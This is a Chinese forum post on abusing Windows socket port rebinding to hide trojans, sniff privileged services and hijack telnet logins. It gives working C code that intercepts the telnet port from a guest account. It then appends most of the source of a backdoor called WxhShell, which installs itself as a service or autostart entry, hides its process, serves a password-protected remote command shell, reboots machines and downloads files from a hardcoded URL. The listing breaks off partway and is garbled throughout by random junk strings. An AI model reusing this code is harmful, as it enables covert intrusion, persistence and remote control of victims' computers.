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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $C##S@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]m{;yOQdsC  
r3mB"("Z'  
  saddr.sin_family = AF_INET; tV9BVsN  
G0^WQQ4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jW}n6w5  
tYC`?HT  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); - (VV  
S&Q1Ky^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [#fXmW>N/  
#?k$0|60  
  这意味着什么?意味着可以进行如下的攻击: cYF R.~p  
+M/04  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 A=o p R  
?<YtlqL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >r2m1}6g"  
7v}4 Pl,$4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J/pW*G-U|  
2^Tj7@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &,4^LFZ W  
SXSH9;j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |Vs|&0  
Ua#*kTF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =#[_8)q  
@] 1E~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VjS %!P  
Oj:O-PtN2  
  #include `zAV#   
  #include %np b.C|+  
  #include y@ J\h8_  
  #include    ?D/r1%Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D9B?9Qt2[  
  int main() L}ud+Wfox  
  { 2-ev7:  
  WORD wVersionRequested; mHE4Es0  
  DWORD ret; 8c\mm 0n  
  WSADATA wsaData; L01R.3Z+  
  BOOL val; `<zaxO  
  SOCKADDR_IN saddr; K2$mz  
  SOCKADDR_IN scaddr; 4f ~CG r  
  int err; 46o3F"  
  SOCKET s; b#FN3AsR  
  SOCKET sc; v1?P$f*g  
  int caddsize; l7Y^C1hM  
  HANDLE mt; 5m&{ f>]T  
  DWORD tid;   v_J\yW'K  
  wVersionRequested = MAKEWORD( 2, 2 ); o^wj_#ai$  
  err = WSAStartup( wVersionRequested, &wsaData ); WZ&/l 65J  
  if ( err != 0 ) { |j&u2DM~#m  
  printf("error!WSAStartup failed!\n"); (k"|k  
  return -1; vQ^a7  
  } PorBB7iL  
  saddr.sin_family = AF_INET; &STgj|t_  
   O?L _9L*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ' jR83A*  
d~tG#<^`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k[R/RhHQ,  
  saddr.sin_port = htons(23); z kYl IUD  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g-U'{I5F  
  { 7Av/ZS  
  printf("error!socket failed!\n"); Mc oHV]x  
  return -1; p+@Wh3  
  } )p4o4 aM  
  val = TRUE; AGQCk*dm  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,Ej2]iO\7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) yc8FEn!)&  
  { 1 h|cr_  
  printf("error!setsockopt failed!\n"); E)o/C(g  
  return -1; }P#%aE&-  
  } X0^gj>GI|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b[$%Wg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 wxB?}   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B3@   
$]:I1I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k$y(H;XA  
  { %+|k>?&z7  
  ret=GetLastError(); fu}NH \{  
  printf("error!bind failed!\n"); aCcBmc  
  return -1; S&}7jRH1  
  } .+]e9mV  
  listen(s,2); *E+2E^B  
  while(1) FSoL|lH  
  { @=h%;"  
  caddsize = sizeof(scaddr); ^*"&e\+p  
  //接受连接请求 IhwJYPLF  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9~I\WjB "  
  if(sc!=INVALID_SOCKET) cEnkt=  
  { P5* :r3>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,RKBGOz?f  
  if(mt==NULL) I7r{&X) D  
  { QbP W_)N  
  printf("Thread Creat Failed!\n"); w-FZ`OA`D  
  break;  g2L  
  } AT}}RE@vq  
  } p/ pVMR  
  CloseHandle(mt); M(HU^?B{'  
  } gF^l`1f"  
  closesocket(s); MB" uJUk  
  WSACleanup(); B~^MhX +j  
  return 0; y GT"k,a  
  }   )|@b GEk  
  DWORD WINAPI ClientThread(LPVOID lpParam) A@bWlwfl  
  { x9xb4ZW  
  SOCKET ss = (SOCKET)lpParam; &{9'ylv-B)  
  SOCKET sc; "5 PP<A,F(  
  unsigned char buf[4096]; n{d}]V@  
  SOCKADDR_IN saddr; }oigZI(1  
  long num; !;{@O`j?b  
  DWORD val; QIQB  
  DWORD ret; [6K2V:6:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 wXPNfV<(2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FXV=D_G}  
  saddr.sin_family = AF_INET; #x1AZwC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); q -M&f@Il  
  saddr.sin_port = htons(23); >"jV8%!sM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qF`;xa%,}  
  { !CtY.Lp  
  printf("error!socket failed!\n"); 0 lXV+lj  
  return -1; %eT4Q~}5"  
  } `!S5FE"-  
  val = 100; D@uw[;Xb5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `Gx"3ZUn  
  { 4q/E7n  
  ret = GetLastError(); Fkuq'C<|Y  
  return -1; 7J~6J .m  
  } hE\,4c1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %1gJOV  
  { g-E!*K  
  ret = GetLastError(); }oYR.UH  
  return -1; & d\`=e  
  } @ v/%^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |xZDc6HDW  
  { 33J}AK^FE  
  printf("error!socket connect failed!\n"); C,n]9  
  closesocket(sc); ogs9obbZ!  
  closesocket(ss); L Tp5T|O  
  return -1; (aVs p*E  
  } $5GvF1  
  while(1) Jme}{!3m  
  { B/q/sC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Odxq]HlbO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 hghtF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B, xrZs  
  num = recv(ss,buf,4096,0); ->n<9  
  if(num>0) <Xm5re.  
  send(sc,buf,num,0); Oh6;o1UI  
  else if(num==0) daaUC  
  break; r=n|MT^O  
  num = recv(sc,buf,4096,0); ?)<zrE5p  
  if(num>0) ioi0^aM  
  send(ss,buf,num,0); VxjEKc  
  else if(num==0) Fly@"W4a  
  break; '&Q_5\Tn  
  } ,a?)#X  
  closesocket(ss); =}\]i*  
  closesocket(sc); FRF3V>  
  return 0 ; *0{MAm  
  } po*s  
-Hh$3U v  
UYW%% 5p?  
========================================================== W0tBF&E"  
9r+`j  
下边附上一个代码,,WXhSHELL e~$MIHBY]  
_S8]W !c  
========================================================== Il2DZ5- )  
,Ot3N\%yn  
#include "stdafx.h" H`-%)c=  
DG8$zl5  
#include <stdio.h> $ 8_t.~q  
#include <string.h> LoOyqJ,  
#include <windows.h> V J){@  
#include <winsock2.h> &|%z!x6f  
#include <winsvc.h> d`StBXG!  
#include <urlmon.h> R" 5/  
P0RM df  
#pragma comment (lib, "Ws2_32.lib") / Zz2=gDY  
#pragma comment (lib, "urlmon.lib") $Pzvv`f*  
wC!(STu  
#define MAX_USER   100 // 最大客户端连接数 'gUHy1p  
#define BUF_SOCK   200 // sock buffer vnk"0d.  
#define KEY_BUFF   255 // 输入 buffer L45&O *%  
YM3oqS D  
#define REBOOT     0   // 重启 s.1(- "DU  
#define SHUTDOWN   1   // 关机 ;s"m* 4N  
u):z1b3*?  
#define DEF_PORT   5000 // 监听端口 #Vv*2Mc  
o1MbHBb  
#define REG_LEN     16   // 注册表键长度 r NU,(htS  
#define SVC_LEN     80   // NT服务名长度 20^F -,z  
 8czo#&  
// 从dll定义API o|]xj'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dulW!&*No  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lADi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); da\K>An>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s?~Abj_  
5zpk6FR$  
// wxhshell配置信息 mt fDl;/D  
struct WSCFG { 2s-f?WetbP  
  int ws_port;         // 监听端口 i= ~HXr}  
  char ws_passstr[REG_LEN]; // 口令 J2aA"BhdC"  
  int ws_autoins;       // 安装标记, 1=yes 0=no n.$<D[@  
  char ws_regname[REG_LEN]; // 注册表键名 8f,jC+(  
  char ws_svcname[REG_LEN]; // 服务名 3tnYK&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m f4@g05  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {aGQ[MH\9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1uB}Oe 2~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zx}=c4I(y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zZDG5_$n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .w$v<y6C  
w#Nn(!VR  
}; ~Ufcy{x#  
+;Cq>1x,  
// default Wxhshell configuration &HFMF)NA  
struct WSCFG wscfg={DEF_PORT, #%k5s?cP@  
    "xuhuanlingzhe", -jC. dz  
    1, WRVKh  
    "Wxhshell", FX}<F0([?  
    "Wxhshell", %|SbZ)gcQ  
            "WxhShell Service", *}ay  
    "Wrsky Windows CmdShell Service", "^_p>C)T  
    "Please Input Your Password: ", *sAoYx  
  1, xhUQ.(S`r6  
  "http://www.wrsky.com/wxhshell.exe", jJ55Az?t:  
  "Wxhshell.exe" v bb mmv  
    }; 4$IPz7  
eqeVz`  
// 消息定义模块 Nj#!L~^h,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4LBjqv,P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vm8QKPy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >GT0 x  
char *msg_ws_ext="\n\rExit."; 0R_ZP12  
char *msg_ws_end="\n\rQuit."; lG\lu'<C  
char *msg_ws_boot="\n\rReboot..."; J4`08,  
char *msg_ws_poff="\n\rShutdown..."; (y~da~  
char *msg_ws_down="\n\rSave to "; *>_:E6)  
@sfV hWG  
char *msg_ws_err="\n\rErr!"; \VtCkb  
char *msg_ws_ok="\n\rOK!"; uAVV4)  
Q=e?G300#L  
char ExeFile[MAX_PATH]; 71K6] ~<  
int nUser = 0; O;H/15j:sK  
HANDLE handles[MAX_USER]; T]CvfvO5  
int OsIsNt; ocdXzk`  
{zVJlJKxs  
SERVICE_STATUS       serviceStatus; Oo7n_h1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G92=b *x/  
Aba6/  
// 函数声明 7t@jj%F  
int Install(void); d:A+s>`$M  
int Uninstall(void); +"' h?7'C  
int DownloadFile(char *sURL, SOCKET wsh); NNe'5q9  
int Boot(int flag); z W+wtYV4  
void HideProc(void); ,0-   
int GetOsVer(void); tp5]n`3rD  
int Wxhshell(SOCKET wsl); "DRp4;  
void TalkWithClient(void *cs); NKGo E/  
int CmdShell(SOCKET sock); :+E>Uz T  
int StartFromService(void); %}j/G l5  
int StartWxhshell(LPSTR lpCmdLine); [c>X Q  
Onot<}K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *:YW@Gbm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QZh8l-!#5  
/x$jd )C  
// 数据结构和表定义 o"[qPZd>  
SERVICE_TABLE_ENTRY DispatchTable[] = OY[N%wr!  
{ /3Se*"u  
{wscfg.ws_svcname, NTServiceMain}, xg3G  
{NULL, NULL} $#t&W&  
}; 3l4k2  
]j1BEO!Bg  
// 自我安装 $#KSvo{otI  
int Install(void) y99G3t  
{ dZnq 96<:|  
  char svExeFile[MAX_PATH]; N.&)22<m9  
  HKEY key; uidE/7  
  strcpy(svExeFile,ExeFile); 6GJ?rE E/  
z#,?*v  
// 如果是win9x系统,修改注册表设为自启动 \9ap$  
if(!OsIsNt) { i g?]kZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { It]CoAo+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]&}?J:+?0E  
  RegCloseKey(key); <Xl G:nmY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y ciZU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (/qY*?  
  RegCloseKey(key); J3q}DDnEo  
  return 0; o<C~67o_  
    } ]t #,{%h  
  } 4<lZ;M"  
} 1%1-j  
else { (5Cm+Sy  
r/{0Y Fa  
// 如果是NT以上系统,安装为系统服务 t$Qav>D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ={zYcVI  
if (schSCManager!=0) -sc@SoS  
{ [$] JvF  
  SC_HANDLE schService = CreateService C #TS  
  ( m4 4aK qw)  
  schSCManager, /]+t$K\cBq  
  wscfg.ws_svcname, 0D.YO<PU  
  wscfg.ws_svcdisp, (F_#LeJ|  
  SERVICE_ALL_ACCESS, snj+-'4T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  \f  
  SERVICE_AUTO_START, bZtjg  
  SERVICE_ERROR_NORMAL, @x{;a9y  
  svExeFile, "]JS,g {m  
  NULL, NINyg"g<  
  NULL, I}?fy\1A&  
  NULL,  p&ZD1qa  
  NULL, (U|W=@8`  
  NULL a<vCAFQ  
  ); -.z~u/uL  
  if (schService!=0) `D?vmSQ  
  { (a)d7y.oo  
  CloseServiceHandle(schService); y YF80mnJz  
  CloseServiceHandle(schSCManager); ;PLby]=O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '9^x"U9c  
  strcat(svExeFile,wscfg.ws_svcname); x>Q#Bvy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2+ 9">a@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >L=l{F6 p  
  RegCloseKey(key); Y|1kE;  
  return 0; 2abWIw4  
    } d_]MqH>R\  
  } JsiJ=zo<  
  CloseServiceHandle(schSCManager); l&T;G 9z  
} n{UB^-}5  
} %Xp}d5-  
F!SmCE(0x  
return 1; gy*N)iv%  
} (( t8  
N^`F_R1Z  
// 自我卸载 {){i ONd  
int Uninstall(void) ~BZA_w"`1  
{ m3,]j\  
  HKEY key; AZtZa'hbkQ  
&|gn%<^  
if(!OsIsNt) { j_ :4_zdBy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Iy`Zh@"~  
  RegDeleteValue(key,wscfg.ws_regname); 3YRhqp"E  
  RegCloseKey(key); gv<9XYByt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )8e_<^M  
  RegDeleteValue(key,wscfg.ws_regname); xT=|Uc0  
  RegCloseKey(key); w3yI;P  
  return 0; [g<6i.<I  
  } 0~^opNR  
} 8HTV"60hTs  
} oYqlN6n,=6  
else { ^#"!uCq]gM  
oOJN?97!k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yNI} =Z  
if (schSCManager!=0) rY($+O@a<  
{ x~Pv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^WM)UZEBC  
  if (schService!=0) h4.ZR={E  
  { ?M\3n5;  
  if(DeleteService(schService)!=0) { }{ 9E~"_[  
  CloseServiceHandle(schService); LI(Wu6*Y  
  CloseServiceHandle(schSCManager); Y+WOU._46I  
  return 0; -bKli<C  
  } HfmTk5|/  
  CloseServiceHandle(schService); L6U[H#3(  
  } YMJjO0  
  CloseServiceHandle(schSCManager); i mJ{wF  
} mDj:w#q  
} ^V>sNR  
3QGg;  
return 1; |QxDjL<&t4  
} G?8,&jP~T  
b/ur!2yr  
// 从指定url下载文件 Ku&0bXP  
int DownloadFile(char *sURL, SOCKET wsh) 6C) G  
{ +h[$\_y  
  HRESULT hr; TX8,+s+  
char seps[]= "/"; @\[&_DZ  
char *token; gxL5%:@  
char *file; >dZ x+7  
char myURL[MAX_PATH]; K3 "co1]u  
char myFILE[MAX_PATH]; n_?<q{GW  
knF *~O :y  
strcpy(myURL,sURL); #CVD:p  
  token=strtok(myURL,seps); uKtrG,/ p  
  while(token!=NULL) 875V{fvPBU  
  { qTiX;e\W  
    file=token; f@>27&'WV  
  token=strtok(NULL,seps); 8[}MXMRdb  
  } ;xwa,1]  
<W\~A$  
GetCurrentDirectory(MAX_PATH,myFILE); ^9"|tWf6O  
strcat(myFILE, "\\"); o-7>^wV%BD  
strcat(myFILE, file); Z.VVY\  
  send(wsh,myFILE,strlen(myFILE),0); J;'?(xO3\  
send(wsh,"...",3,0); sx(yG9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %VSST?aUvX  
  if(hr==S_OK) !]5F2~"v  
return 0; g4%x7#vz0  
else 3P'.)=}  
return 1; jskATA /  
J%D'Xlb  
} d) G7U$z~  
Px'%5TKN  
// 系统电源模块 E%jOJA  
int Boot(int flag) tse(iX/D  
{ UHweV:(|T  
  HANDLE hToken; 8pt;''  
  TOKEN_PRIVILEGES tkp; Y@RPQPmIQ  
+B c/@.Q'  
  if(OsIsNt) { h^34{pKDn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hRGK W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c9i CH~  
    tkp.PrivilegeCount = 1; #). om*Xh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /3rt]h"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bIe>j*VPh@  
if(flag==REBOOT) { Lj({ T'f(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H6rWb6i  
  return 0; a*74FVZo.;  
} 0XL x@FYn  
else { PS(9?rX#+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :uhvDYp(-  
  return 0; -4Y}Y5 9\  
} w doA>a?q  
  } CI$F#j  
  else { fd*=`+P  
if(flag==REBOOT) { R7Hn8;..  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OsvAm'B  
  return 0; Y( D d7`c  
} LK/gG6n5M0  
else { XQ,I Ej|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =F8uuYX%m  
  return 0; 'Ys"yY@  
} #`v`e"  
} "t`r_Aw  
"uqa~R{  
return 1; 1wqCoDgkp  
} fy9{W@E3p  
*sB=Ys?  
// win9x进程隐藏模块 qV8;;&8r  
void HideProc(void) S #&HB  
{ h'w9=Pk~6y  
8~\Fpz|Og  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qs 52)$  
  if ( hKernel != NULL ) rm(<?w%'?  
  { `H ^Nc\P#  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DQH _@-q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aztP`S$h  
    FreeLibrary(hKernel); 2%1 g%  
  } {HvR24#  
Af ^6  
return; 8+v6%,K2  
} {Kd9}CDAZ  
fx%'7/+  
// 获取操作系统版本 ^fXNeBj  
int GetOsVer(void) X#1So.}c  
{ }B^s!y&b  
  OSVERSIONINFO winfo; ZEUd?"gaR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :a#]"z0  
  GetVersionEx(&winfo); `k _5Pz\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DV*8Mkzg  
  return 1; Nr3td`;  
  else 7:{4'Wr@6|  
  return 0; :14O=C  
} p5c'gziR  
w&`gx6?-na  
// 客户端句柄模块 q;tsA"l  
int Wxhshell(SOCKET wsl) (fm\kV  
{ xgsD<3  
  SOCKET wsh; bq<QUw=]q&  
  struct sockaddr_in client; "p2 $R*ie  
  DWORD myID; v#YO3nD  
+*!oZKm.  
  while(nUser<MAX_USER) H&3VPag  
{ _Vj O [hx  
  int nSize=sizeof(client); :[|`&_D9J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^?&Jq_oU  
  if(wsh==INVALID_SOCKET) return 1; 'rp(k\ pY  
-md2Z0^ Kc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Wq F(  
if(handles[nUser]==0) ;QREwT~H  
  closesocket(wsh); zu^?9k  
else ?ti7iBz?  
  nUser++; 8y~ Jn~t  
  } \QHe0?6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E' JVf%)  
0f;L!.eP  
  return 0;  @*%Q,$  
} jr" yIC_  
g%1!YvS3v  
// 关闭 socket 91mXvQ:u  
void CloseIt(SOCKET wsh) #x)G2T'?  
{ (RWZ [-;)  
closesocket(wsh); V*U"OJ%  
nUser--; DtXXfp@;  
ExitThread(0); \C/`?"4w  
} G*\wu&7!  
=h5&\4r=  
// 客户端请求句柄 $-M1<?5  
void TalkWithClient(void *cs) nU)}!` E  
{ gC<\1AIu  
C[n,j#Mvje  
  SOCKET wsh=(SOCKET)cs; 6(D K\58  
  char pwd[SVC_LEN]; <)?H98S  
  char cmd[KEY_BUFF]; 7{8!IcR #  
char chr[1]; eem.lVVD  
int i,j; @bfaAh~   
}@!d(U*  
  while (nUser < MAX_USER) { x #BUIi  
3(E"$Se,f  
if(wscfg.ws_passstr) { X OJ/$y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Crm](Z?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QRgWzaI  
  //ZeroMemory(pwd,KEY_BUFF); uC 5mxZ  
      i=0; s-k~_C>Fw  
  while(i<SVC_LEN) { 6jPaS!E  
(gl CTF9v  
  // 设置超时 `^wF]R  
  fd_set FdRead; j05ahquI  
  struct timeval TimeOut; qqS-0U2  
  FD_ZERO(&FdRead); hKt AvTg  
  FD_SET(wsh,&FdRead); \dbpC Z  
  TimeOut.tv_sec=8; L4 x  
  TimeOut.tv_usec=0; /uW6P3M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \eI )(,A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1PjSa4  
zu*0uL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AG/nX?u7)t  
  pwd=chr[0]; Fl(+c0|kT  
  if(chr[0]==0xd || chr[0]==0xa) { uhQ3  
  pwd=0; e`<=& w  
  break; vyN =X]p  
  } cV&(L]k>`  
  i++; Itj|0PGd  
    } >fdS$,`A  
w_/q5]/V-5  
  // 如果是非法用户,关闭 socket *ZKfyn$+~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &p=|z2 J  
} F! c%&Z  
_d A-{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =WJ*$j(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); az F"tke  
oopTo51,a  
while(1) { Vy-H3BR  
s@^GjA[6+  
  ZeroMemory(cmd,KEY_BUFF);  J@(*(oQb  
xfos>|0N  
      // 自动支持客户端 telnet标准   PX\}lTJ  
  j=0; k,X` }AJ6  
  while(j<KEY_BUFF) { 3M+hjc.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :pDwg d  
  cmd[j]=chr[0]; <IK8 Ucp  
  if(chr[0]==0xa || chr[0]==0xd) { DK*2 d_  
  cmd[j]=0; 9i,QCA  
  break; v;?t=}NwF  
  } YpL{c*M  
  j++; |+cyb<(V J  
    } < ynm A  
QIBv}hgcy  
  // 下载文件 U/D\N0  
  if(strstr(cmd,"http://")) { A~h.,<+"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); + 5sT GNG  
  if(DownloadFile(cmd,wsh)) yY`<t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVi''#F?f  
  else UMx>n18;f9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zo-s_6uC  
  } I&Yu=v/_  
  else { py P5^Qv  
!_l W#feR  
    switch(cmd[0]) {  ]c[80F-  
  O'$0K0k3  
  // 帮助 g2:^Z==  
  case '?': { hb_YdnG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G80d!*7  
    break; Eq~&d.j  
  } 4K[U*-\"  
  // 安装 ,Z&"@g  
  case 'i': { ,)S|%tDW  
    if(Install()) \W??`?Idh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hd2Sou4-j  
    else M2my>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ LFzpg  
    break; s-o0N{b?#'  
    } }"Hf/{E$_"  
  // 卸载 C1)TEkc"C  
  case 'r': { bYgrKz@uK  
    if(Uninstall()) 'JKFEUzM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #*}4=  
    else l4L&hY^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l')?w]|  
    break; kX+y2v(2++  
    } w KXKc\r  
  // 显示 wxhshell 所在路径 &" K74  
  case 'p': { Z3~$"V*ZB{  
    char svExeFile[MAX_PATH]; -'5:Cq   
    strcpy(svExeFile,"\n\r"); f{^C+t{r  
      strcat(svExeFile,ExeFile); | 1T2<ZT  
        send(wsh,svExeFile,strlen(svExeFile),0); #^yw!~:{  
    break; 0&2TeqsLh)  
    } MFiX8zwhx+  
  // 重启 `<b 3e(A  
  case 'b': { q`"gT;3S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qD7# q]  
    if(Boot(REBOOT)) `[VoW2CLH+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pWwaN4  
    else { h1FM)n[E7  
    closesocket(wsh); ~O 65=8  
    ExitThread(0); <,HdX,5  
    } Ia0.I " ,  
    break; FTtYzKX(bv  
    } iW.8+?Xq&  
  // 关机 e@NS=U` <  
  case 'd': { ZK{VQ~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;W'y^jp]"  
